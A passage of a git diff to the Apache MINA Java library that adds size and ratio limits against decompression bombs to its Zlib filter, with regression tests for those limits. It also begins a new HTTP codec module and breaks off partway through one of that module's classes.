and message : " + zStream.msg); + synchronized (zStream) { + zStream.next_in = inBytes; + zStream.next_in_index = 0; + zStream.avail_in = inBytes.length; + zStream.next_out = outBytes; + zStream.next_out_index = 0; + zStream.avail_out = outBytes.length; + int retval = 0; + + do { + retval = zStream.inflate(JZlib.Z_SYNC_FLUSH); + switch (retval) { + case JZlib.Z_OK: + // completed decompression, lets copy data and get out + case JZlib.Z_BUF_ERROR: + // Try to avoid exhausting the JVM memory by controling the resulting buffer + // size after inflation + if (outBuffer.position() + zStream.next_out_index > maxDecompressedSize) { + throw new IOException("decompressed size exceeds max " + maxDecompressedSize); + } + + checkDecompressRatio(); + + // need more space for output. store current output and get more + outBuffer.put(outBytes, 0, zStream.next_out_index); + zStream.next_out_index = 0; + zStream.avail_out = outBytes.length; + break; + default: + // unknown error + outBuffer = null; + if (zStream.msg == null) { + throw new IOException("Unknown error. Error code : " + retval); + } else { + throw new IOException("Unknown error. Error code : " + retval + " and message : " + zStream.msg); + } } - } - } while (zStream.avail_in > 0); + } while (zStream.avail_in > 0); + + cleanUp(); + } return outBuffer.flip(); } @@ -174,7 +235,7 @@ public IoBuffer deflate(IoBuffer inBuffer) throws IOException { } byte[] inBytes = new byte[inBuffer.remaining()]; - inBuffer.get(inBytes).flip(); + inBuffer.get(inBytes); // according to spec, destination buffer should be 0.1% larger // than source length plus 12 bytes. We add a single byte to safeguard @@ -182,25 +243,43 @@ public IoBuffer deflate(IoBuffer inBuffer) throws IOException { int outLen = (int) Math.round(inBytes.length * 1.001) + 1 + 12; byte[] outBytes = new byte[outLen]; - zStream.next_in = inBytes; - zStream.next_in_index = 0; - zStream.avail_in = inBytes.length; - zStream.next_out = outBytes; - zStream.next_out_index = 0; - zStream.avail_out = outBytes.length; - - int retval = zStream.deflate(JZlib.Z_SYNC_FLUSH); - if (retval != JZlib.Z_OK) { - outBytes = null; - inBytes = null; - throw new IOException("Compression failed with return value : " - + retval); - } + synchronized (zStream) { + zStream.next_in = inBytes; + zStream.next_in_index = 0; + zStream.avail_in = inBytes.length; + zStream.next_out = outBytes; + zStream.next_out_index = 0; + zStream.avail_out = outBytes.length; + + int retval = zStream.deflate(JZlib.Z_SYNC_FLUSH); + if (retval != JZlib.Z_OK) { + outBytes = null; + inBytes = null; + throw new IOException("Compression failed with return value : " + retval); + } - IoBuffer outBuf = IoBuffer - .wrap(outBytes, 0, zStream.next_out_index); + IoBuffer outBuf = IoBuffer.wrap(outBytes, 0, zStream.next_out_index); - return outBuf; + cleanUp(); + + return outBuf; + } + } + + /** + * Checks the cumulative decompression ratio against the configured maximum. + * + * @throws IOException if the cumulative ratio exceeds {@code maxDecompressRatio} + */ + private void checkDecompressRatio() throws IOException { + if (maxDecompressRatio <= 0L) { + return; + } + long totalOut = zStream.getTotalOut(); + long totalIn = zStream.getTotalIn(); + if (totalIn > 0L && totalOut > decompressRatioMinSize && totalOut / totalIn > maxDecompressRatio) { + throw new IOException("decompression ratio " + (totalOut / totalIn) + " exceeds max " + maxDecompressRatio); + } } /** diff --git a/mina-filter-compression/src/test/java/org/apache/mina/filter/compression/CompressionFilterTest.java b/mina-filter-compression/src/test/java/org/apache/mina/filter/compression/CompressionFilterTest.java old mode 100755 new mode 100644 index ad7bf3cee1..cadd544dee --- a/mina-filter-compression/src/test/java/org/apache/mina/filter/compression/CompressionFilterTest.java +++ b/mina-filter-compression/src/test/java/org/apache/mina/filter/compression/CompressionFilterTest.java @@ -19,202 +19,112 @@ */ package org.apache.mina.filter.compression; -import static org.junit.Assert.assertTrue; +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; import org.apache.mina.core.buffer.IoBuffer; -import org.apache.mina.core.filterchain.IoFilterChain; import org.apache.mina.core.filterchain.IoFilter.NextFilter; +import org.apache.mina.core.filterchain.IoFilterChain; +import org.apache.mina.core.session.AttributeKey; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.DefaultWriteRequest; import org.apache.mina.core.write.WriteRequest; -import org.easymock.AbstractMatcher; -import org.easymock.MockControl; import org.junit.Before; import org.junit.Test; +import org.mockito.ArgumentCaptor; /** + * * @author Apache MINA Project */ public class CompressionFilterTest { - private MockControl mockSession; - - private MockControl mockNextFilter; - - private MockControl mockIoFilterChain; - - private IoSession session; - - private NextFilter nextFilter; - - private IoFilterChain ioFilterChain; + // the sample data to be used for testing + private static final String STR_COMPRESS = repeat("The quick brown fox jumps over the lazy dog. ", 25); private CompressionFilter filter; - private Zlib deflater; - - private Zlib inflater; + private IoSession session; - private Zlib actualDeflater; + private IoFilterChain filterChain; - private Zlib actualInflater; + private NextFilter nextFilter; - // the sample data to be used for testing - String strCompress = "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. " - + "The quick brown fox jumps over the lazy dog. "; + private static String repeat(String value, int count) { + StringBuilder builder = new StringBuilder(value.length() * count); + for (int i = 0; i < count; i++) { + builder.append(value); + } + return builder.toString(); + } @Before public void setUp() { - // create the necessary mock controls. - mockSession = MockControl.createControl(IoSession.class); - mockNextFilter = MockControl.createControl(NextFilter.class); - mockIoFilterChain = MockControl.createControl(IoFilterChain.class); - - // set the default matcher - mockNextFilter.setDefaultMatcher(new DataMatcher()); - - session = (IoSession) mockSession.getMock(); - nextFilter = (NextFilter) mockNextFilter.getMock(); - ioFilterChain = (IoFilterChain) mockIoFilterChain.getMock(); - - // create an instance of the filter filter = new CompressionFilter(CompressionFilter.COMPRESSION_MAX); - // deflater and inflater that will be used by the filter - deflater = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_DEFLATER); - inflater = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER); - - // create instances of the deflater and inflater to help test the output - actualDeflater = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_DEFLATER); - actualInflater = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER); + // a mock session whose attributes are stored in a real map, so that the deflater and inflater + // created by onPreAdd() are actually retrieved by filterWrite() and messageReceived(). + session = mock(IoSession.class); + final Map attributes = new HashMap<>(); + when(session.setAttribute(any(), any())) + .thenAnswer(invocation -> attributes.put(invocation.getArgument(0), invocation.getArgument(1))); + when(session.getAttribute(any())).thenAnswer(invocation -> attributes.get(invocation.getArgument(0))); + when(session.containsAttribute(any())).thenAnswer(invocation -> attributes.containsKey(invocation.getArgument(0))); + when(session.removeAttribute(any())).thenAnswer(invocation -> attributes.remove(invocation.getArgument(0))); + + filterChain = mock(IoFilterChain.class); + when(filterChain.contains(CompressionFilter.class)).thenReturn(false); + when(filterChain.getSession()).thenReturn(session); + + nextFilter = mock(NextFilter.class); } @Test - public void testCompression() throws Exception { - // prepare the input data - IoBuffer buf = IoBuffer.wrap(strCompress.getBytes("UTF8")); - IoBuffer actualOutput = actualDeflater.deflate(buf); - WriteRequest writeRequest = new DefaultWriteRequest(buf); + public void testCompressionRoundTrip() throws Exception { + filter.onPreAdd(filterChain, "CompressionFilter", nextFilter); - // record all the mock calls - ioFilterChain.contains(CompressionFilter.class); - mockIoFilterChain.setReturnValue(false); - - ioFilterChain.getSession(); - mockIoFilterChain.setReturnValue(session); - - session.setAttribute(CompressionFilter.class.getName() + ".Deflater", - deflater); - mockSession.setDefaultMatcher(new DataMatcher()); - mockSession.setReturnValue(null, MockControl.ONE); - - session.setAttribute(CompressionFilter.class.getName() + ".Inflater", - inflater); - mockSession.setReturnValue(null, MockControl.ONE); - - session.containsAttribute(CompressionFilter.DISABLE_COMPRESSION_ONCE); - mockSession.setReturnValue(false); - - session.getAttribute(CompressionFilter.class.getName() + ".Deflater"); - mockSession.setReturnValue(deflater); - - nextFilter.filterWrite(session, new DefaultWriteRequest(actualOutput)); - - // switch to playback mode - mockSession.replay(); - mockIoFilterChain.replay(); - mockNextFilter.replay(); - - // make the actual calls on the filter - filter.onPreAdd(ioFilterChain, "CompressionFilter", nextFilter); + IoBuffer input = IoBuffer.wrap(STR_COMPRESS.getBytes(StandardCharsets.UTF_8)); + WriteRequest writeRequest = new DefaultWriteRequest(input); filter.filterWrite(nextFilter, session, writeRequest); - // verify that all the calls happened as recorded - mockNextFilter.verify(); + // capture the compressed buffer forwarded down the chain + ArgumentCaptor writeCaptor = ArgumentCaptor.forClass(WriteRequest.class); + verify(nextFilter).filterWrite(eq(session), writeCaptor.capture()); + IoBuffer compressed = (IoBuffer) writeCaptor.getValue().getMessage(); + + // feeding the compressed buffer back in must reproduce the original payload + filter.messageReceived(nextFilter, session, compressed); + ArgumentCaptor receiveCaptor = ArgumentCaptor.forClass(Object.class); + verify(nextFilter).messageReceived(eq(session), receiveCaptor.capture()); + IoBuffer decompressed = (IoBuffer) receiveCaptor.getValue(); - assertTrue(true); + assertEquals(STR_COMPRESS, decompressed.getString(StandardCharsets.UTF_8.newDecoder())); } + /** + * Regression guard: onPreAdd() must register the deflater in deflate mode and the inflater in + * inflate mode, not the other way round. Verified by checking each rejects the opposite operation. + */ @Test - public void testDecompression() throws Exception { - // prepare the input data - IoBuffer buf = IoBuffer.wrap(strCompress.getBytes("UTF8")); - IoBuffer byteInput = actualDeflater.deflate(buf); - IoBuffer actualOutput = actualInflater.inflate(byteInput); + public void testDeflaterAndInflaterNotSwapped() throws Exception { + filter.onPreAdd(filterChain, "CompressionFilter", nextFilter); - // record all the mock calls - ioFilterChain.contains(CompressionFilter.class); - mockIoFilterChain.setReturnValue(false); + IoBuffer input = IoBuffer.wrap(STR_COMPRESS.getBytes(StandardCharsets.UTF_8)); - ioFilterChain.getSession(); - mockIoFilterChain.setReturnValue(session); + Zlib deflater = (Zlib) session.getAttribute(new AttributeKey(CompressionFilter.class, "deflater")); + assertNotNull(deflater); + assertThrows(IllegalStateException.class, () -> deflater.inflate(input)); - session.setAttribute(CompressionFilter.class.getName() + ".Deflater", - deflater); - mockSession.setDefaultMatcher(new DataMatcher()); - mockSession.setReturnValue(null, MockControl.ONE); - session.setAttribute(CompressionFilter.class.getName() + ".Inflater", - inflater); - mockSession.setReturnValue(null, MockControl.ONE); - - session.getAttribute(CompressionFilter.class.getName() + ".Inflater"); - mockSession.setReturnValue(inflater); - - nextFilter.messageReceived(session, actualOutput); - - // switch to playback mode - mockSession.replay(); - mockIoFilterChain.replay(); - mockNextFilter.replay(); - - // make the actual calls on the filter - filter.onPreAdd(ioFilterChain, "CompressionFilter", nextFilter); - filter.messageReceived(nextFilter, session, byteInput); - - // verify that all the calls happened as recorded - mockNextFilter.verify(); - - assertTrue(true); - } - - /** - * A matcher used to check if the actual and expected outputs matched - */ - class DataMatcher extends AbstractMatcher { - @Override - protected boolean argumentMatches(Object arg0, Object arg1) { - // we need to only verify the ByteBuffer output - if (arg0 instanceof WriteRequest) { - WriteRequest expected = (WriteRequest) arg0; - WriteRequest actual = (WriteRequest) arg1; - IoBuffer bExpected = (IoBuffer) expected.getMessage(); - IoBuffer bActual = (IoBuffer) actual.getMessage(); - return bExpected.equals(bActual); - } - return true; - } + Zlib inflater = (Zlib) session.getAttribute(new AttributeKey(CompressionFilter.class, "inflater")); + assertNotNull(inflater); + assertThrows(IllegalStateException.class, () -> inflater.deflate(input)); } } diff --git a/mina-filter-compression/src/test/java/org/apache/mina/filter/compression/ZlibTest.java b/mina-filter-compression/src/test/java/org/apache/mina/filter/compression/ZlibTest.java old mode 100755 new mode 100644 index 9bf837556e..c28a24abcf --- a/mina-filter-compression/src/test/java/org/apache/mina/filter/compression/ZlibTest.java +++ b/mina-filter-compression/src/test/java/org/apache/mina/filter/compression/ZlibTest.java @@ -21,9 +21,12 @@ import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; +import static org.junit.Assert.assertThrows; import java.io.IOException; import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; +import java.util.Random; import org.apache.mina.core.buffer.IoBuffer; import org.junit.Before; @@ -43,6 +46,26 @@ public void setUp() throws Exception { inflater = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER); } + private IoBuffer deflateZeros(int size) throws IOException { + try { + return new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_DEFLATER) + .deflate(IoBuffer.wrap(new byte[size])); + } catch (Exception e) { + throw new AssertionError("failed to deflate test fixture", e); + } + } + + private IoBuffer deflateRandom(int size) throws IOException { + try { + byte[] data = new byte[size]; + new Random(0).nextBytes(data); + return new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_DEFLATER) + .deflate(IoBuffer.wrap(data)); + } catch (Exception e) { + throw new AssertionError("failed to deflate test fixture", e); + } + } + @Test public void testCompression() throws Exception { String strInput = ""; @@ -52,38 +75,37 @@ public void testCompression() throws Exception { for (int i = 0; i < 10; i++) { strInput += "The quick brown fox jumps over the lazy dog. "; } - IoBuffer byteInput = IoBuffer.wrap(strInput.getBytes("UTF8")); + IoBuffer byteInput = IoBuffer.wrap(strInput.getBytes(StandardCharsets.UTF_8)); // increase the count to have the compression and decompression // done using the same instance of Zlib for (int i = 0; i < 5; i++) { IoBuffer byteCompressed = deflater.deflate(byteInput); IoBuffer byteUncompressed = inflater.inflate(byteCompressed); - String strOutput = byteUncompressed.getString(Charset.forName( - "UTF8").newDecoder()); + String strOutput = byteUncompressed.getString(Charset.forName("UTF8").newDecoder()); assertTrue(strOutput.equals(strInput)); + byteInput.flip(); } } @Test public void testCorruptedData() throws Exception { String strInput = "Hello World"; - IoBuffer byteInput = IoBuffer.wrap(strInput.getBytes("UTF8")); + IoBuffer byteInput = IoBuffer.wrap(strInput.getBytes(StandardCharsets.UTF_8)); IoBuffer byteCompressed = deflater.deflate(byteInput); // change the contents to something else. Since this doesn't check // for integrity, it wont throw an exception byteCompressed.put(5, (byte) 0xa); IoBuffer byteUncompressed = inflater.inflate(byteCompressed); - String strOutput = byteUncompressed.getString(Charset.forName("UTF8") - .newDecoder()); + String strOutput = byteUncompressed.getString(StandardCharsets.UTF_8.newDecoder()); assertFalse(strOutput.equals(strInput)); } @Test public void testCorruptedHeader() throws Exception { String strInput = "Hello World"; - IoBuffer byteInput = IoBuffer.wrap(strInput.getBytes("UTF8")); + IoBuffer byteInput = IoBuffer.wrap(strInput.getBytes(StandardCharsets.UTF_8)); IoBuffer byteCompressed = deflater.deflate(byteInput); // write a bad value into the zlib header. Make sure that @@ -104,7 +126,7 @@ public void testFragments() throws Exception { for (int i = 0; i < 10; i++) { strInput += "The quick brown fox jumps over the lazy dog. "; } - IoBuffer byteInput = IoBuffer.wrap(strInput.getBytes("UTF8")); + IoBuffer byteInput = IoBuffer.wrap(strInput.getBytes(StandardCharsets.UTF_8)); IoBuffer byteCompressed = null; for (int i = 0; i < 5; i++) { @@ -114,16 +136,162 @@ public void testFragments() throws Exception { // the zlib header, which will not be generated for further // compressions done with the same instance IoBuffer byteUncompressed = inflater.inflate(byteCompressed); - String strOutput = byteUncompressed.getString(Charset.forName( - "UTF8").newDecoder()); + String strOutput = byteUncompressed.getString(Charset.forName("UTF8").newDecoder()); assertTrue(strOutput.equals(strInput)); } + + byteInput.flip(); } // check if the last compressed data block can be decompressed // successfully. IoBuffer byteUncompressed = inflater.inflate(byteCompressed); - String strOutput = byteUncompressed.getString(Charset.forName("UTF8") - .newDecoder()); + String strOutput = byteUncompressed.getString(Charset.forName("UTF8").newDecoder()); assertTrue(strOutput.equals(strInput)); } + + + /** + * Test the inflater with no limit + * We create buffers of various sizes: + *
      + *
    • A 1MB buffer that once compressed should inflate properly + *
    • A 10MB buffer that once compressed should inflate properly + *
    • + *
    + * @throws Exception + */ + @Test + public void testZBombDataNoLimit() throws Exception { + // Create an inflater with no size limit and the ratio check disabled + Zlib inflaterNoLimit = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER, + Zlib.MAX_DECOMPRESSED_SIZE, 0L, 0L); + + // Try a 10MB buffer bomb. Should succeed + IoBuffer byteCompressed = deflateZeros(1_024 * 1_024 * 10); + + // Should be fine + inflaterNoLimit.inflate(byteCompressed); + } + + + /** + * Test the inflater default limit. + * We create buffers of various sizes: + *
      + *
    • A 1MB Buffer that once compressed should inflate properly + *
    • A 1MB+1byte buffer that once compressed should generate an exception when inflated + *
    • + *
    + * @throws Exception + */ + @Test + public void testZBombData() throws Exception { + // Create an inflater with a 1Mb size limit and the ratio check disabled + // so this test stays focused on the size limit. + Zlib inflaterWithLimit = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER, 1_024*1_024, 0L, 0L); + + // Both inputs are fed to the same inflater as a continuous zlib + // stream, so use the shared deflater rather than the fresh-stream + // deflateZeros() helper. + + // Right at the size limit: should succeed. + inflaterWithLimit.inflate(deflater.deflate(IoBuffer.wrap(new byte[1_024 * 1_024]))); + + // One byte over the size limit: should throw. + IoBuffer overLimit = deflater.deflate(IoBuffer.wrap(new byte[1_024 * 1_024 + 1])); + assertThrows(IOException.class, () -> inflaterWithLimit.inflate(overLimit)); + } + + + /** + * A highly compressible payload that exceeds both the default ratio (100) + * and the default ratio min-size threshold should be rejected by the + * inflater. + */ + @Test + public void testDecompressRatioExceeded() throws Exception { + // 64KiB of zeros compresses to well under 64KiB/100 bytes. + int size = 64 * 1_024; + IoBuffer byteCompressed = deflateZeros(size); + int compressedSize = byteCompressed.remaining(); + long actualCompressRatio = size / compressedSize; + + // Inflater configured one ratio step below the actual payload's + // ratio: the inflate call must throw. + Zlib inflater = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER, Zlib.MAX_DECOMPRESSED_SIZE, actualCompressRatio - 1, 0L); + assertThrows(IOException.class, () -> inflater.inflate(byteCompressed)); + } + + + /** + * The ratio check must not fire while the cumulative decompressed size is + * below the configured min-size threshold. + */ + @Test + public void testDecompressRatioBelowMinSize() throws Exception { + int size = 1_024 * 1_024; + IoBuffer byteCompressed = deflateZeros(size); + + // Ratio of 100 would normally trip on this payload; raise the min-size + // threshold above the payload so the check is skipped. + Zlib inflater = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER, Zlib.MAX_DECOMPRESSED_SIZE, 1L, size); + inflater.inflate(byteCompressed); + } + + + /** + * The ratio check is cumulative across multiple inflate() calls on the + * same stream, so a bomb cannot bypass it by being split into small + * fragments. + */ + @Test + public void testDecompressRatioCumulative() throws Exception { + Zlib inflater = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER, Zlib.MAX_DECOMPRESSED_SIZE, 1L, Zlib.DECOMPRESS_RATIO_MIN_SIZE); + + // Below the min-size gate + int chunkSize = (int) Zlib.DECOMPRESS_RATIO_MIN_SIZE; + inflater.inflate(deflater.deflate(IoBuffer.wrap(new byte[chunkSize]))); + + // Exceeds the min-size gate + IoBuffer second = deflater.deflate(IoBuffer.wrap(new byte[chunkSize])); + assertThrows(IOException.class, () -> inflater.inflate(second)); + } + + + /** + * An empty input buffer produces no decompressed output, so the ratio + * check must not fire even with a pathologically tight max ratio of 1 + * and the min-size gate wide open. + */ + @Test + public void testInflateEmptyBuffer() throws Exception { + Zlib inflater = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER, Zlib.MAX_DECOMPRESSED_SIZE, 1L, 0L); + inflater.inflate(IoBuffer.allocate(0)); + } + + + /** + * The default-constructor inflater must apply the documented defaults + * (max ratio = 100, min-size gate = 1 MiB). Three legs: + *
      + *
    • Small + high ratio: zeros below the gate — must succeed (catches a min-size drop).
    • + *
    • Large + low ratio: pseudo-random bytes above the gate — must succeed (catches an unintended max-ratio bump).
    • + *
    • Large + high ratio: cumulative zeros above the gate — must throw (catches either default being effectively disabled).
    • + *
    + */ + @Test + public void testDefaults() throws Exception { + // Leg 1: small + high ratio. Below the 1 MiB gate, check is skipped. + Zlib smallHighRatio = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER); + smallHighRatio.inflate(deflateZeros(512 * 1_024)); + + // Leg 2: large + low ratio. Above the gate, but ratio ≈ 1 << 100. + Zlib largeLowRatio = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER); + largeLowRatio.inflate(deflateRandom(2 * 1_024 * 1_024)); + + // Leg 3: large + high ratio. Above the gate, ratio >> 100, throws. + Zlib largeHighRatio = new Zlib(Zlib.COMPRESSION_MAX, Zlib.MODE_INFLATER); + IoBuffer bomb = deflateZeros(2 * 1_024 * 1_024); + assertThrows(IOException.class, () -> largeHighRatio.inflate(bomb)); + } } diff --git a/mina-http/pom.xml b/mina-http/pom.xml new file mode 100644 index 0000000000..18bfd04ff3 --- /dev/null +++ b/mina-http/pom.xml @@ -0,0 +1,70 @@ + + + + + + 4.0.0 + + org.apache.mina + mina-parent + 2.2.10-SNAPSHOT + + + mina-http + Apache MINA HTTP client and server codec + bundle + + + + ${project.groupId} + mina-core + ${project.version} + bundle + + + + + + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.http + + org.apache.mina.http;version=${project.version};-noimport:=true, + org.apache.mina.http.api;version=${project.version};-noimport:=true + + + org.apache.mina.core.buffer;version=${project.version}, + org.apache.mina.core.filterchain;version=${project.version}, + org.apache.mina.core.session;version=${project.version}, + org.apache.mina.filter.codec;version=${project.version}, + org.slf4j;version=${osgi-min-version.slf4j.api} + + + + + + + diff --git a/mina-http/src/main/java/org/apache/mina/http/ArrayUtil.java b/mina-http/src/main/java/org/apache/mina/http/ArrayUtil.java new file mode 100644 index 0000000000..15d9e8cc16 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/ArrayUtil.java @@ -0,0 +1,50 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +/** + * An utility class for Array manipulations. + * + * @author Apache MINA Project + */ +public class ArrayUtil { + private ArrayUtil() { + } + + /** + * Process an array of String and get rid of every Strings after an empty on. + * + * @param array The String[] array to process + * @param regex unused + * @return The resulting String[] which only contains non-empty Strings up to the first emtpy one + */ + public static String[] dropFromEndWhile(String[] array, String regex) { + for (int i = array.length - 1; i >= 0; i--) { + if (array[i].trim().length() != 0) { + String[] trimmedArray = new String[i + 1]; + System.arraycopy(array, 0, trimmedArray, 0, i + 1); + + return trimmedArray; + } + } + + return null; + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/DateUtil.java b/mina-http/src/main/java/org/apache/mina/http/DateUtil.java new file mode 100644 index 0000000000..be65722157 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/DateUtil.java @@ -0,0 +1,127 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import java.text.DateFormat; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.util.Calendar; +import java.util.Date; +import java.util.Locale; +import java.util.TimeZone; +import java.util.regex.Pattern; + +/** + * An utility class for Dates manipulations + * + * @author Apache MINA Project + */ +public class DateUtil { + private static final Locale LOCALE = Locale.US; + private static final TimeZone GMT_ZONE; + private static final String RFC_1123_PATTERN = "EEE, dd MMM yyyy HH:mm:ss zzz"; + private static final DateFormat RFC_1123_FORMAT; + + /** Pattern to find digits only. */ + private static final Pattern DIGIT_PATTERN = Pattern.compile("^\\d+$"); + + static { + RFC_1123_FORMAT = new SimpleDateFormat(DateUtil.RFC_1123_PATTERN, DateUtil.LOCALE); + GMT_ZONE = TimeZone.getTimeZone("GMT"); + DateUtil.RFC_1123_FORMAT.setTimeZone(DateUtil.GMT_ZONE); + } + + private DateUtil() { + } + + /** + * @return The current date as a string + */ + public static String getCurrentAsString() { + synchronized(DateUtil.RFC_1123_FORMAT) { + return DateUtil.RFC_1123_FORMAT.format(new Date()); //NOPMD + } + } + + /** + * Translate a given date String in the RFC 1123 + * format to a long representing the number of milliseconds + * since epoch. + * + * @param dateString a date String in the RFC 1123 format. + * @return the parsed Date in milliseconds. + */ + private static long parseDateStringToMilliseconds(String dateString) { + try { + synchronized (DateUtil.RFC_1123_FORMAT) { + return DateUtil.RFC_1123_FORMAT.parse(dateString).getTime(); //NOPMD + } + } catch (ParseException e) { + return 0; + } + } + + /** + * Parse a given date String to a long + * representation of the time. Where the provided value is all digits the + * value is returned as a long, otherwise attempt is made to + * parse the String as a RFC 1123 date. + * + * @param dateValue the value to parse. + * @return the long value following parse, or zero where not successful. + */ + public static long parseToMilliseconds(String dateValue) { + if (DateUtil.DIGIT_PATTERN.matcher(dateValue).matches()) { + return Long.parseLong(dateValue); + } else { + return parseDateStringToMilliseconds(dateValue); + } + } + + /** + * Converts a millisecond representation of a date to a + * RFC 1123 formatted String. + * + * @param dateValue the Date represented as milliseconds. + * @return a String representation of the date. + */ + public static String parseToRFC1123(long dateValue) { + + Calendar calendar = Calendar.getInstance(); + calendar.setTimeInMillis(dateValue); + + synchronized (DateUtil.RFC_1123_FORMAT) { + return DateUtil.RFC_1123_FORMAT.format(calendar.getTime()); //NOPMD + } + } + + /** + * Convert a given Date object to a RFC 1123 + * formatted String. + * + * @param date the Date object to convert + * @return a String representation of the date. + */ + public static String getDateAsString(Date date) { + synchronized (DateUtil.RFC_1123_FORMAT) { + return RFC_1123_FORMAT.format(date); //NOPMD + } + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/DecoderState.java b/mina-http/src/main/java/org/apache/mina/http/DecoderState.java new file mode 100644 index 0000000000..e6384af26d --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/DecoderState.java @@ -0,0 +1,36 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +/** + * The HTTP decoder states + * + * @author Apache MINA Project + */ +public enum DecoderState { + /** Waiting for a new HTTP requests, the session is new of last request was completed */ + NEW, + + /** Accumulating the HTTP request head (everything before the body) */ + HEAD, + + /** Receiving HTTP body slices */ + BODY +} diff --git a/mina-http/src/main/java/org/apache/mina/http/HttpClientCodec.java b/mina-http/src/main/java/org/apache/mina/http/HttpClientCodec.java new file mode 100644 index 0000000000..8f5d86f1ad --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/HttpClientCodec.java @@ -0,0 +1,59 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import org.apache.mina.core.filterchain.IoFilter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.ProtocolDecoder; +import org.apache.mina.filter.codec.ProtocolEncoder; + +/** + * The HTTP client codec + * @author Apache MINA Project + */ +public class HttpClientCodec extends ProtocolCodecFilter { + + /** Key for decoder current state */ + private static final String DECODER_STATE_ATT = "http.ds"; + + /** Key for the partial HTTP requests head */ + private static final String PARTIAL_HEAD_ATT = "http.ph"; + + private static ProtocolEncoder 